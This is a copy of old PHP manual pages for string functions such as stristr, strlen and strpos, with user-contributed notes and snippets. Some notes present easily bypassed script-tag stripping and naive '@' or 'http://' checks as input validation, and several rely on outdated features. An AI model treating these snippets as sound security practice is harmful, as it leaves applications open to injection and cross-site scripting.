30-Sep-2004 07:55
If your trying to pull out some variables from $_REQUEST and directly output them (in my case, quoted text from a search query directly into a HTML text box) with magic_quotes_gpc on use:

htmlspecialchars(stripslashes($searchtext));

For example:

<input type="Text" name="searchtext" value="<?php echo htmlspecialchars(stripslashes($searchtext)); ?>"><br>

$searchtext was pulled from the $_REQUEST variable where $searchtext = "lifeline \"darling downs\""; It properly returns this (including quotes) in the text box.
mattyblah at gmail dot com
10-Sep-2004 11:51
It should be of note that if you are stripping slashes to get rid of the slashes added by magic_quotes_gpc then it will also remove slashes from \. This may not seem that bad but if you have someone enter text such as 'testing\' with a slash at the end, this will cause an error if not corrected. It's best to strip the slashes, then add a slash to every single slash using $text = str_replace('\\', '\\\\', $text);
hash at samurai dot fm
01-Dec-2003 01:34
Might I warn readers that they should be vary careful with the use of stripslashes on Japanese text. The shift_jis character set includes a number of two-byte code charcters that contain the hex-value 0x5c (backslash) which will get stripped by this function thus garbling those characters.

What a nightmare!
add a note add a note

后退 | 起点 | 前进
stripos | 上一级 | stristr


stristr

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

stristr -- Case-insensitive strstr()

Description

string stristr ( string haystack, string needle )

Returns all of haystack from the first occurrence of needle to the end. needle and haystack are examined in a case-insensitive manner.

If needle is not found, returns FALSE.

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

例子 1. stristr() example

<?php
  $email = 'USER@EXAMPLE.com';
  echo stristr($email, 'e');
// outputs ER@EXAMPLE.com
?>

例子 2. Testing if a string is found or not

<?php
  $string = 'Hello World!';
  if(stristr($string, 'earth') === FALSE) {
    echo '"earth" not found in string';
  }
// outputs: "earth" not found in string
?>

例子 3. Using a non "string" needle

<?php
  $string = 'APPLE';
  echo stristr($string, 97); // 97 = lowercase a
// outputs: APPLE
?>

注: 本函数可安全用于二进制对象。

See also
strstr(),
strrchr(),
substr(), and
ereg().

add a note add a note User Contributed Notes
art at awilton dot dotcom
08-Nov-2005 01:17
handy little bit of code I wrote to take arguments from the command line and parse them for use in my apps.

<?php

 $i = implode(" ",$argv); //implode all the settings sent via clie
 $e = explode("-",$i); // no lets explode it using our defined seperator '-'

       //now lets parse the array and return the parameter name and its setting
       // since the input is being sent by the user via the command line
       //we will use stristr since we don't care about case sensitivity and
       //will convert them as needed later.

   while (list($index,$value) = each($e)){

       //lets grap the parameter name first using a double reverse string
       // to get the begining of the string in the array then reverse it again
       // to set it back. we will also "trim" off the "=" sign

     $param = rtrim(strrev(stristr(strrev($value),'=')),"=");

       //now lets get what the parameter is set to.
       // again "trimming" off the = sign

     $setting = ltrim(stristr($value,'='),"=");

       // now do something with our results.
       // let's just echo them out so we can see that everything is working

     echo "Array index is ".$index." and value is ".$value."\r\n";
     echo "Parameter is ".$param." and is set to ".$setting."\r\n\r\n";

}

?>

when run from the CLI this script returns the following.

[root@fedora4 ~]# php a.php -val1=one -val2=two -val3=three

Array index is 0 and value is a.php
Parameter is  and is set to

Array index is 1 and value is val1=one
Parameter is val1 and is set to one

Array index is 2 and value is val2=two
Parameter is val2 and is set to two

Array index is 3 and value is val3=three
Parameter is val3 and is set to three

[root@fedora4 ~]#
spam at php-universe dot com
07-Aug-2005 07:07
Regarding triadsebas at triads dot buildtolearn dot net entry for validating emails, etc.

To use these functions, you need to replace strstri() with stristr() as strstri does not exist.
trojjer
30-Jul-2005 08:51
Regarding previous entry about validation:

"Note:  If you only want to determine if a particular needle  occurs within haystack, use the faster and less memory intensive function strpos() instead."

You have to use strpos('haystack','needle')!==false though, of course, incase it returns zero as the actual position, like it says on that page.
triadsebas at triads dot buildtolearn dot net
21-Jul-2005 08:39
You can use strstr() or strstri() to validate data!
Check this out:
<?php
function validate_email($input) {
if (!strstri($input, '@')) {
return false;
}
return true;
}

function validate_url($input) {
if (!strstri($input, 'http://')) {
return false;
}
return true;
}
?>
Simple example:
<?php
if (!validate_email($_POST['email'])) {
print 'You did not enter a valid email adress';
}
if (!validate_url($_POST['url'])) {
print 'You did not enter a valid url.';
}
?>
notepad at codewalkers dot com
05-Jun-2005 04:02
<?php

function stristr_reverse($haystack, $needle) {
  $pos = stripos($haystack, $needle) + strlen($needle);
  return substr($haystack, 0, $pos);
}
$email = 'USER@EXAMPLE.com';
echo stristr_reverse($email, 'er');
// outputs USER

?>
stoyan at mail dot ebpw dot net
18-Mar-2005 09:59
Be careful never to use integer value as a needle - always convert it to string before use e.g. using strval() - otherwise you'll get messed up - for example te following:

if ($res=stristr('40', 52)) echo $res;

will return '40' as $res - simply 52 is the ASCII code of '4' that's in the beginning of our string.

Actually that's covered in the description of the function but you may miss to pay attention to it just like me=]
paulphp at springfrog dot com
02-Nov-2003 02:30
Regarding the problem (posted by Dan) of checking for a zero where the zero is at the end of a string, the following will work.  Note that !== is used rather than != which doesn't work.

$total = "Your total is 0";
$srchstrng = "0";
if (stristr($total, $srchstrng) !== FALSE)
   {
   echo "you have nothing";
   }

This will correctly output "you have nothing", indicating the zero was correctly identified as being in the $total string.

(Discovered after experimenting with comparison operators detailed on this page: http://www.php.net/manual/en/language.operators.comparison  .)
sam_at_compasspointmedia.com
07-Dec-2002 06:29
This function is tricky! The problem lies when the haystack is a string and the needle is a number.  I found out the hard way:

This expression:
echo $spy = stristr("James Bond 007","007");
will return "007":

but this will not:
echo $spy = stristr("James Bond 007",007);
because 007 is interpreted as a number.  Tricky, right?

Even if the first parameter could be interpreted as a number, but the second parameter is in quotes, it won't work.  For example:
echo stristr("555007",007);
will not return anything.

but this will by the way...
echo $spy = stristr(555007,"007");
Techdeck at Techdeck dot org
13-Nov-2002 04:26
An example for the stristr() function:

<?php
$a = "I like php";
if (stristr("$a", "LikE PhP")) {
print ("According to \$a, you like PHP.");
}
?>

It will look in $a for "like php" (NOT case sensetive. though, strstr() is case-sensetive).

For the ones of you who uses linux.. It is similiar to the "grep" command.
Actually.. "grep -i".
dpatton.at.confluence.org
03-Oct-2002 12:36
There was a change in PHP 4.2.3 that can cause a warning message
to be generated when using stristr(), even though no message was
generated in older versions of PHP.

The following will generate a warning message in 4.0.6 and 4.2.3:
  stristr("haystack", "");
     OR
  $needle = "";  stristr("haystack", $needle);

This will _not_ generate an "Empty Delimiter" warning message in
4.0.6, but _will_ in 4.2.3:
  unset($needle); stristr("haystack", $needle);

Here's a URL that documents what was changed:
http://groups.google.ca/groups?selm=cvshholzgra1031224321%40cvsserver
moenm@hotmail_com
30-Aug-2002 09:44
A slightly more efficient way of getting a files extension. There is no reason to use strrev().

function getext($f) {
 $ext = substr($f, strrpos($f,".") + 1);
 return $ext;
}
php dot net at CamelQuotesNO-SPAM-PLEASE dot com
05-Aug-2002 02:52
Use this function to return the number of files matching a certain type (extention) in a given folder:

Using the previous code in the function above, file extentions like .ext.inc.php will be counted as .php files

usage:
returns false if dir doesnt exist
or returns the number of files counted

DO NOT add '.' to extention you are searching for.

example usage:

$result = CountFiles("./images", "jpg");
if($result === false) die("dir does not exist!");

function CountFiles($dir, $type)
{
if(!($dh =@opendir("$dir")))
  return false; // directory does not exist

// read the directory contents searching for "type" files
// and count how many are found:
  $files = 0;
  while ( ! ( ($fn = readdir($dh)) === false ) )
   {
   $f = strrev($fn);
   $ext = substr($f, 0, strpos($f,"."));
   $f_ext = strrev($ext);
   if(( strcasecmp($f_ext, $type) == 0 )) $files++;
   }
  closedir($dh);
  return $files;
}
add a note add a note

后退 | 起点 | 前进
stripslashes | 上一级 | strlen


strlen

(PHP 3, PHP 4, PHP 5)

strlen -- Get string length

Description

int strlen ( string string )

Returns the length of the given string.

例子 1. A strlen() example

<?php
$str = 'abcdef';
echo strlen($str); // 6

$str = ' ab cd ';
echo strlen($str); // 7
?>

See also count(), and mb_strlen().

add a note add a note User Contributed Notes
Hage Yaapa
12-Jan-2006 07:51
Sometimes you really wanna make sure no user edits the 'maxlength' attribute of the HTML page and POSTs a 5 Mb string to your script. Probably, advanced programmers already take precautions, this one is just a very simple tip for beginners on how to check the character lenth of the POST variables in an effective manner.

<?php

// ALWAYS clean the POST variables of any HTML tags first.
// And here we do it in one easy step.
 $_POST = array_map('strip_tags', $_POST);

// These are the POST variables in the example
 $alias = $_POST['alias'];
 $name = $_POST['name'];
 $status = $_POST['status'];
 $year = $_POST['year'];

// We create an array that contains the expected character length
// for each POST variable
 $exlen = array (
     'alias'=>12,
     'name'=>30,
     'status'=>10,
     'year'=>4
);

// Now check if any of them exceeds the expected length
 foreach ($exlen as $key=>$val) {
     if (strlen($$key) > $val) {
           // The user has definitely edited the HTML! He has a lot of time, could be bad.
         // This section can edited according to your needs - very simple to complex.
         // Log the event or send an e-mail to the admin at the basic.
         // However, in this example we just print a warning.
         print 'WARNING: The FBI is looking for you, dude!';
         exit;
         // The best part is that the script won't look for any other
         // POST variables other than the ones which we are expecting already.
     }
}
?>

Similarly, with the use of Regular Expressions you could check the data type and string format too.
anpaza at mail dot ru
01-Dec-2005 04:58
Here's a better strlen() for UTF-8 strings that doesn't access the byte past end of the string (on which newer PHP barfs):

function strlen_utf8 ($str)
{
   $i = 0;
   $count = 0;
   $len = strlen ($str);
   while ($i < $len)
   {
   $chr = ord ($str[$i]);
   $count++;
   $i++;
   if ($i >= $len)
       break;

   if ($chr & 0x80)
   {
       $chr <<= 1;
       while ($chr & 0x80)
       {
       $i++;
       $chr <<= 1;
       }
   }
   }
   return $count;
}
bartek at proteus,pl
19-Jul-2005 08:08
> Just a precisation, maybe obvious, about the strlen() behaviour:
> with binary strings (i.e. returned by the pack() finction) is made
> a byte count... so strlen returns the number of bytes contained
> in the binary string.

This is not always true. strlen() might be shadowed by mb_strlen().
If that is the case it might treat binary data as unocode string and return wrong value (I just found it out after fighting with egroupware email attachment handling bug).

So, if your data is binary I would suggest using somthing like this (parts of the code from egroupware):

$has_mbstring = extension_loaded('mbstring') ||@dl(PHP_SHLIB_PREFIX.'mbstring.'.PHP_SHLIB_SUFFIX);
$has_mb_shadow = (int) ini_get('mbstring.func_overload');

if ($has_mbstring && ($has_mb_shadow & 2) ) {
   $size = mb_strlen($this->output_data,'latin1');
} else {
   $size = strlen($this->output_data);
}

--
Bartek
triadsebas at triads dot buildtolearn dot net
17-Jul-2005 08:49
A nice use of the strlen() function, the following function will check if one of the words in $input is longer than $maxlenght,  $maxlenght is standard 40.
<?php
function check_input($input, $maxlenght= 40)
$temp_array = explode(" ", $input);
foreach ($temp_array as $word) {
if (strlen($word) > $maxlenght) {
return false;
}
}
return true;
}
?>
Example:
<?php
if (!check_input($_POST['message'])) {
print 'One of your words in your message in longer than 40 chars. Please edit your message.';
}
?>
http://nsk.wikinerds.org
23-Apr-2005 12:02
Beware: strlen() counts new line characters at the end of a string, too!

  $a = "123\n";
  echo "<p>".strlen($a)."</p>";

The above code will output 4.
packe100 at hotmail dot com
14-Mar-2005 11:07
Just a precisation, maybe obvious, about the strlen() behaviour: with binary strings (i.e. returned by the pack() finction) is made a byte count... so strlen returns the number of bytes contained in the binary string.
php at capcarrere dot org
06-Feb-2005 10:32
Hi,

if you want to trim a sentence to a certain number of
characters so that it is displayed nicely in a HTML page
(in a table for instance), then you actually want to count
the number of characters displayed rather than the
actual number of characters of the string.

For instance:
"L&agrave; bas" should really be 5 character long,
rather than 10.

Also you don't want to cut a special char in the middle.
For instance:
If 3 is the maximum number of characters,

"L&agrave; bas"  should be cut as "L&agrave; ..."
and not "L&a...";

So here is a simple method to dothat:

function nicetrim ($s) {
// limit the length of the given string to $MAX_LENGTH char
// If it is more, it keeps the first $MAX_LENGTH-3 characters
// and adds "..."
// It counts HTML char such as &aacute; as 1 char.
//

  $MAX_LENGTH = 22;
  $str_to_count = html_entity_decode($s);
  if (strlen($str_to_count) <= $MAX_LENGTH) {
   return $s;
  }

  $s2 = substr($str_to_count, 0, $MAX_LENGTH - 3);
  $s2 .= "...";
  return htmlentities($s2);
}
Patrick(a)Bierans()de
29-Nov-2004 07:24
function array_strlen(&$array,$fuse=200,$depth=0)
{
  // returns the strlen of all elements in a given array, an array inside
  // an array will add another 8 points

  // fuse: Recursion is limited to 200 calls, if you want unlimited calls
  //      use fuse=0 - warning: if an array element contains a reference
  //      to the array itself it will run endless if fuse set to 0 or below.

  $strlen=0;
  $fuse-=1;
  if ($fuse==0) return $strlen;

  if (is_array($array))
  {
   if ($depth>0) $strlen+=8;
   reset($array);
   $depth+=1;
   foreach ($array as $sub) $strlen+=array_strlen($sub,$fuse,$depth);
  }
  else
  {
   $strlen+=strlen($array);
  }
  return $strlen;
} // array_strlen()
chernyshevsky at hotmail dot com
06-Sep-2004 06:36
The easiest way to determine the character count of a UTF8 string is to pass the text through utf8_decode() first:

$length = strlen(utf8_decode($s));

utf8_decode() converts characters that are not in ISO-8859-1 to '?', which, for the purpose of counting, is quite alright.
dtorop932 at hotmail dot com
04-Dec-2003 06:25
To follow up on dr-strange's utf8_strlen(), here are two succinct alternate versions.  The first is slower for multibyte UTF-8, faster for single byte UTF-8.  The second should be much faster for all but very brief strings, and can easily live inline in code.  Neither validates the UTF-8.

Note that the right solution is to use mb_strlen() from the mbstring module, if one is lucky enough to have that compiled in...

<?php
// choice 1
function utf8_strlen($str) {
  $count = 0;
  for ($i = 0; $i < strlen($str); ++$i) {
   if ((ord($str[$i]) & 0xC0) != 0x80) {
     ++$count;
   }
  }
  return $count;
}

// choice 2
function utf8_strlen($str) {
  return preg_match_all('/[\x00-\x7F\xC0-\xFD]/', $str, $dummy);
}
?>
Patrick
02-Aug-2003 05:36
Just a general pointer that I have hit upon after some struggle:

Most blobs can easily be treated as strings, so to retreat info on a blob or to manipulate it in any way, I recommend trying out string-related functions first. They've worked well for me.
suchy at ecl dot pl
13-May-2003 06:22
a little modification of rasmus solution

$tmp=0; $s="blah";
while($c=$s[$tmp++]) { echo $c; }

but what happens when the string contains zeros?
$s="blah0blah";
the script stops....

here is sample of code and the string is correcly parsed using strlen() even when containing zeros:

<?
$s="blah0blah";
$si=0;
$s_len=strlen($s);
for ($si=0;$si<$s_len;$si++)
{
 $c=$s[$si];
 echo $c;
}
?>
dr - strange at shaw dot ca
03-Oct-2002 10:08
It seems to me that all strings in PHP are ASCII, this is fine for some but for me I need more. I thought I would show off a small function that I made that will tell you the length of a UTF-8 string. This comes in handy if you want to restrict the size of user input to say 30 chars - but don't want to force ascii only input on your users.

function utf8_strlen($str)
   {
   $count = 0;

   for($i = 0; $i < strlen($str); $i++)
       {
       $value = ord($str[$i]);
       if($value > 127)
           {
           if($value >= 192 && $value <= 223)
               $i++;
           elseif($value >= 224 && $value <= 239)
               $i = $i + 2;
           elseif($value >= 240 && $value <= 247)
               $i = $i + 3;
           else
               die('Not a UTF-8 compatible string');
           }

       $count++;
       }

   return $count;
   }
27-May-2001 03:11
Note that PHP does not need to traverse the string to know its length with strlen(). The length is an attribute of the array used to store the characters. Do not count on strings being terminated by a NULL character. This may not work with some character encodings, and PHP strings are binary-safe !
PHP4 included a NULL character after the last position in the string, however, this does not change the behavior of strlen or the binary safety: this NULL character is not stored.

However PHP4 allows now to reference the position after the end of the string for both read and write access:

* when reading at that position (e.g. $s[strlen($s)]), you get a warning with PHP3, and you'll get 0 with PHP4 not returning a warning.

* you can assign it directly in PHP4 with one character to increase the string length by one character:

$s[strlen($s)]=65; //append 'A'
$s[]=65; //append 'A'
$s[strlen($s)]=0; //append NUL (stored!)
$s[]=0; //append NUL (stored!)

Such code did not work in PHP3, where the only way to extend the string length was by using a concat operator.

However, reading or writing past the end of the string, using an array index superior to the current string length will still raise a warning in PHP4.
ben at _idataconnect dot com
01-Apr-2001 02:44
I think another thing that people aren't understanding about this is that PHP doesn't use pointers like C. The way you can treat string variables as arrays seems to be added for convenience. Like someone posted earlier, you shouldn't rely on the language to hit an error and end the loop. If you do things like that and someone changed the way PHP (or any language) worked with those kind of errors, your program just might not work anymore.
validus at c-gate dot net
16-Mar-2001 09:07
Several people here have commented on
the termination of strings in PHP with the NULL character.
My tests have shown that

PHP3 does NOT terminate strings
PHP4 DOES terminate with a NULL
  character.

And one of the previous posters seemed to indicate that zero couldn't be a part of a string if it were NULL terminated.  It can.  A zero is ASCII 48
and a NULL character is ASCII 0.

cheers
validus
rasmus at php dot net
04-Nov-2000 03:37
This bit of code works just fine in PHP:

$tmp=0; $s="blah";
while($c=$s[$tmp++]) { echo $c; }

Depending on your warning level you may get a warning when $tmp = 4 because you have gone beyond the end of the string.  If you don't care about this warning either change your warning level or simply swallow it using:

  $tmp=0; $s="blah";
  while(@$c=$s[$tmp++]) { echo $c; }

The @ in front of the assignment will swallow any warnings from that assignment.
add a note add a note

后退 | 起点 | 前进
stristr | 上一级 | strnatcasecmp


strnatcasecmp

(PHP 4, PHP 5)

strnatcasecmp -- Case insensitive string comparisons using a "natural order" algorithm

Description

int strnatcasecmp ( string str1, string str2 )

This function implements a comparison algorithm that orders alphanumeric strings in the way a human being would. The behaviour of this function is similar to strnatcmp(), except that the comparison is not case sensitive. For more information see: Martin Pool's Natural Order String Comparison page.

Similar to other string comparison functions, this one returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

See also ereg(),
strcasecmp(),
substr(),
stristr(),
strcmp(),
strncmp(),
strncasecmp(),
strnatcmp(), and
strstr().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
strlen | 上一级 | strnatcmp


strnatcmp

(PHP 4, PHP 5)

strnatcmp -- String comparisons using a "natural order" algorithm

Description

int strnatcmp ( string str1, string str2 )

This function implements a comparison algorithm that orders alphanumeric strings in the way a human being would, this is described as a "natural ordering". An example of the difference between this algorithm and the regular computer string sorting algorithms (used in strcmp()) can be seen below:

<?php
$arr1 = $arr2 = array("img12.png", "img10.png", "img2.png", "img1.png");
echo "Standard string comparison\n";
usort($arr1, "strcmp");
print_r($arr1);
echo "\nNatural order string comparison\n";
usort($arr2, "strnatcmp");
print_r($arr2);
?>

The code above will generate the following output:

Standard string comparison
Array
(
    [0] => img1.png
    [1] => img10.png
    [2] => img12.png
    [3] => img2.png
)

Natural order string comparison
Array
(
    [0] => img1.png
    [1] => img2.png
    [2] => img10.png
    [3] => img12.png
)

For more information see: Martin Pool's Natural Order String Comparison page.

Similar to other string comparison functions, this one returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Note that this comparison is case sensitive.

See also ereg(),
strcasecmp(), substr(),
stristr(), strcmp(),
strncmp(), strncasecmp(),
strnatcasecmp(), strstr(),
natsort() and natcasesort().

add a note add a note User Contributed Notes
public at macfreek dot nl
15-Aug-2002 10:03
The URI of Martin Pool's page is http://sourcefrog.net/projects/natsort/
(Yes, that's frog, not forge).

http://www.naturalordersort.org/ points to a page with the same idea, by Stuart Cheshire, who wrote a small Mac extension to do natural sorting.
add a note add a note

后退 | 起点 | 前进
strnatcasecmp | 上一级 | strncasecmp


strncasecmp

(PHP 4 >= 4.0.2, PHP 5)

strncasecmp -- Binary safe case-insensitive string comparison of the first n characters

Description

int strncasecmp ( string str1, string str2, int len )

This function is similar to strcasecmp(), with the difference that you can specify the (upper limit of the) number of characters (len) from each string to be used in the comparison.

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

See also ereg(),
strcasecmp(),
strcmp(),
substr(),
stristr(), and
strstr().

add a note add a note User Contributed Notes
djdykes
31-Aug-2005 06:43
Hi all,

be aware when comparing strings using the strcmp family. if you write code like this...

if (strncasecmp($string, 'Trudeau', 4))
 print "true";

The above code returns 1 which evaluates to boolean 'true'

that statement will always be true... because these functions return 0 only when equal. so a better test would be

if ( (strncasecmp($string, 'Trudeau', 4)) == 0)
 print "true";

always test these functions equality with 0

regards
add a note add a note

后退 | 起点 | 前进
strnatcmp | 上一级 | strncmp


strncmp

(PHP 4, PHP 5)

strncmp -- Binary safe string comparison of the first n characters

Description

int strncmp ( string str1, string str2, int len )

This function is similar to strcmp(), with the difference that you can specify the (upper limit of the) number of characters (len) from each string to be used in the comparison.

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Note that this comparison is case sensitive.

See also ereg(),
strncasecmp(),
strcasecmp(), substr(),
stristr(), strcmp(), and
strstr().

add a note add a note User Contributed Notes
Anonymous
17-Apr-2002 07:46
strncmp("sample","sam",4) returns 1 because the final requirement is if one string terminates before len, then the other must also terminate at that position.

You can imagine that all your strings have one more final, invisible "termination" character.  If that termination character happens to be within in len, then it must match, too.

For instance, write that termination character with, say, the sequence "\0". Then you can equivalently consider that function call as strncmp("sample\0","sam\0",4).

So, the "p" in "sample" does not match the termination character in "sam".
add a note add a note

后退 | 起点 | 前进
strncasecmp | 上一级 | strpbrk


strpbrk

(PHP 5)

strpbrk -- Search a string for any of a set of characters

Description

string strpbrk ( string haystack, string char_list )

strpbrk() searches the haystack string for a char_list, and returns a string starting from the character found (or FALSE if it is not found).

注: The char_list parameter is case sensitive.

例子 1. strpbrk() example

<?php

$text = 'This is a Simple text.';

// this echoes "is is a Simple text." because 'i' is matched first
echo strpbrk($text, 'mi');

// this echoes "Simple text." because chars are case sensitive
echo strpbrk($text, 'S');
?>

add a note add a note User Contributed Notes
aidan at php dot net
21-Aug-2004 04:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
strncmp | 上一级 | strpos


strpos

(PHP 3, PHP 4, PHP 5)

strpos -- Find position of first occurrence of a string

Description

int strpos ( string haystack, mixed needle [, int offset] )

Returns the numeric position of the first occurrence of needle in the haystack string. Unlike the strrpos(), this function can take a full string as the needle parameter and the entire string will be used.

If needle is not found, strpos() will return boolean FALSE.

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

注: 本函数可安全用于二进制对象。

例子 1. strpos() examples

<?php
$mystring = 'abc';
$findme   = 'a';
$pos = strpos($mystring, $findme);

// Note our use of ===.  Simply == would not work as expected
// because the position of 'a' was the 0th (first) character.
if ($pos === false) {
    echo "The string '$findme' was not found in the string '$mystring'";
} else {
    echo "The string '$findme' was found in the string '$mystring'";
    echo " and exists at position $pos";
}

// We can search for the character, ignoring anything before the offset
$newstring = 'abcdef abcdef';
$pos = strpos($newstring, 'a', 1); // $pos = 7, not 0
?>

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

The optional offset parameter allows you to specify which character in haystack to start searching. The position returned is still relative to the beginning of haystack.

See also strrpos(),
stripos(),
strripos(),
strrchr(),
substr(),
stristr(), and
strstr().

add a note add a note User Contributed Notes
ludvig dot ericson at gmail dot com
28-Apr-2006 04:28
As a simplified way of doing what the poster below did:

<?php
$firstName .= '\'';
if (!preg_match('/[sx]$/', $firstName)) {
   $firstName .= 's';
}
?>

If you feel using a regular expression is too much, try it - I've not tested yet, but I'd say preg_match() is faster then two strpos() calls.
leibwaechter at web dot de
23-Mar-2006 05:26
If you only want to look, if a string appears in another string - even at position 0 - , you can also use substr_count():

<?php
  $mystring = "Hello Chris";

  if (substr_count($mystring, "Hello") == 0)
   echo "no";

  // same as:

  if (strpos($mystring, "Hello") === false)
   echo "no";
?>
arachnion at gmail dot com
05-Mar-2006 02:17
<?php
//use a string as needle, even in PHP 4
//works the same like strrpos()
function stringrpos( $sHaystack, $sNeedle )
{
  $i = strlen( $sHaystack );
  while ( substr( $sHaystack, $i, strlen( $sNeedle ) ) != $sNeedle )
  {
   $i--;
   if ( $i < 0 )
   {
     return false;
   }
  }
  return $i;
}
?>
18-Feb-2006 07:48
this works fine:

function getCurrentBrowser() {
   $browser = $_SERVER['HTTP_USER_AGENT'];

   if (strpos(strtoupper($browser), 'MSIE') !== false) {
       return "Internet Explorer";
   } else    if (strpos(strtoupper($browser), 'FIREFOX') !== false) {
       return "Firefox";
   } else    if (strpos(strtoupper($browser), 'KONQUEROR') !== false) {
       return "Konqueror";
   } else    if (strpos(strtoupper($browser), "LYNX") !== false) {
       return "Lynx";
   } else {
       return $browser;
   }
}

if $browser ist
"Lynx/2.8.5rel.2 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7g"
its work fine, too.
php /at/ da.mcbf.net
15-Feb-2006 11:49
"fox_galih at yahoo dot co dot uk" example below is absolutely not needed. As the example on this page shows, you can differentiate between position 0 and false by doing a strict comparison (===):

$newsbody = "<p>This is paragraph</p>";

if( strpos( $newsbody, "<p>" ) === 0 ) {
   // will only get executed if string starts with <p>
   // (false === 0) evaluates to false
}
fox_galih at yahoo dot co dot uk
11-Feb-2006 05:42
Be carefull when your searching position is in first index. For example:

$newsbody = "<p>This is paragraph</p>";

if( strpos( $newsbody, "<p>" ) == 0 ) {
   // do something
}

when strpos returns FALSE, this "if block" will be executed by PHP, because FALSE also has 0 value. So, you have to make it a little bit longer of code:

$pos = strpos( $newsbody, "<p>" );
if ( $pos != FALSE ) {
   $pos = strpos( $newsbody, "<p>" );
   if( $pos == 0 )
       $newsbody = substr( $newsbody, 3 );
}
luko1 at centrum dot cz
03-Feb-2006 08:11
<?php  //prepocet velikosti souboru
function format($soubor) {
  $velikost = filesize($soubor);
  if($velikost < 1048576):
   return number_format(($velikost / 1024), 2, ',', ' ')." kB";
  else:
   return number_format(($velikost / 1024 / 1024), 2, ',', ' ')." MB";
  endif;
}
?>
<?php
function read_dir($dir)
{
  $path = opendir($dir);
  while (false !== ($file = readdir($path))):
   if ($file!="." && $file!=".."):
     if (is_file($dir."/".$file)):
       $items[] = $file;
     else:
       $items[] = $dir."/".$file;
     endif;
   endif;
  endwhile;
  closedir($path);
  if ($items):
   natcasesort($items);
   foreach ($items as $item){
     if (is_dir($item)):
       $dir1 = $item;
       $item1 = substr($item, strrpos($item, '/') + 1).'/';
       echo "<b>$item1</b><table border=1 style='margin-left: 60px; position: static; border: blue'><tr><td>";
       read_dir($dir1);
       echo "</table>";
     else:
       $cesta_file = "\"".$dir."/".$item."\"";
       $cesta_size = $dir."/".$item;
       echo "<span class=pop>&nbsp;<a href=$cesta_file title=$item>$item</a> <span> - ".format($cesta_size)."</span> </span><br>";
     endif;
   } //endforeach
  endif;
}
?>
...
<table><tr><td>
<?php
$dir = ".";
read_dir($dir);
?>
</table>
anonymous at example dot com
02-Feb-2006 11:58
Beware of following the examples too closely...

$str = "abcdef";
echo strpos($str, 'b'); // outputs 1

however

$str = "abc\nef";
echo strpos($str, '\n'); // output nothing (FALSE)

Not a great way to try to stop PHP email injection attacks (as I found out).

Instead use
strpos($str, "\n")

because the escapes are processed only when using double quotes.
adispam at uid0 dot sk
09-Jan-2006 10:30
$a="nice string 1234 with number";
$b=sprintf("nice string %d", 1234);
var_dump(strpos($a,$b));

returns FALSE.
substitute : $b=sprintf("nice string %d", 1234);
with: $b = "nice string "; $b.=(string)1234;
and you 'll get correct result (0)
msandersen at t tpg dot com dot au
09-Jan-2006 10:15
<?PHP
$txt = preg_replace("|(<script.+</script>)|Usi", "", $txt);
?>
No point in keeping empty script tags. Ungreedy will prevent overzealous content removal where there are more than one set of script tags on the page. Multiline has no use here.
Otherwise, if you absolutely must have the empty tags:
<?PHP
$txt = preg_replace("|<script[^>]*>(.+)</script>|Usi", "", $txt);
?>

Martin
horst
05-Jan-2006 06:46
Why in such a way?
<?
$txt = preg_replace("/<script(.*)<\/script>/sim", "", $txt);
?>
samuraj at xmail dot cz
24-Dec-2005 05:38
there was a code (from wodzuY2k at interia dot pl) removing all between <script> tags..
but it didn't work if the tag begins like <SCRIPT language=javascript type=text/javascript>

here is function removing all between "<script"  and  "/script>"

<?php

function remove_js($contents)
{
  while(true)
  {
   $begPos = strpos($contents,"<script");
   if ($begPos===false) break; //all tags were found & replaced.
   $endPos = strpos($contents,"/script>",$begPos+strlen("<script"));
   $tmp = substr($contents,0,$begPos);
   $tmp .= substr($contents,$endPos+strlen("script>"));
   $contents = $tmp;
   if ($loopcontrol++>100) break; //loop infinity control
   continue;  //search again
  }
  return $contents;

}

?>
Virtual Hunter root(at)autocrash(dot)ru
23-Dec-2005 11:44
If you want to find positions of all needle's in haystack,
you can use this one:

while (($pos=strpos($haystack,$needle,$pos+1))!==false) $pos_array[$i++]=$pos;

But mind, that it will find from second char. You must use $pos=-1; before you want search from first char.

{
$haystack="one two three one two three one two three one two three one";
$needle="one";

$pos=-1;
while (($pos=strpos($haystack,$needle,$pos+1))!==false) $pos_array[$i++]=$pos;
}

RESULT:

$pos_array[0] = 0
$pos_array[1] = 14
$pos_array[2] = 28
$pos_array[3] = 42
$pos_array[4] = 56
rycardo74 at gmail dot com
23-Nov-2005 01:19
this function return all src properties from a html text
in array you can filter the specifics html tags with strip_tags

$HTML=strip_tags ( $HTML, '<img>' );
$tag = trip_tag_prop("src=\"" , "\"" , $HTML);

function trip_tag_prop($ini,$end,$HTML ){
$ini_len= strlen($ini);
$end_len= strlen($end);
$inizio_pos=0;
while($inizio_pos  = strpos ( $HTML, $ini, $inizio_pos)){
$fine_pos    = strpos ( $HTML, $end,($inizio_pos + $ini_len));
$tag[]        = substr ( $HTML, $inizio_pos + $ini_len ,($fine_pos - $inizio_pos - $ini_len) );
$inizio_pos=$fine_pos;
}
return $tag;
}

by :Auayama , cabrera  rycardo74 (a) gmail (dot) com
csaba at alum dot mit dot edu
21-Nov-2005 10:00
function nthPos ($str, $needles, $n=1) {
   //    finds the nth occurrence of any of $needles' characters in $str
   //  returns -1 if not found; $n<0 => count backwards from end
   //  e.g. $str = "c:\\winapps\\morph\\photos\\Party\\Phoebe.jpg";
   //      substr($str, nthPos($str, "/\\:", -2)) => \Party\Phoebe.jpg
   //      substr($str, nthPos($str, "/\\:", 4)) => \photos\Party\Phoebe.jpg
   $pos = -1;
   $size = strlen($str);
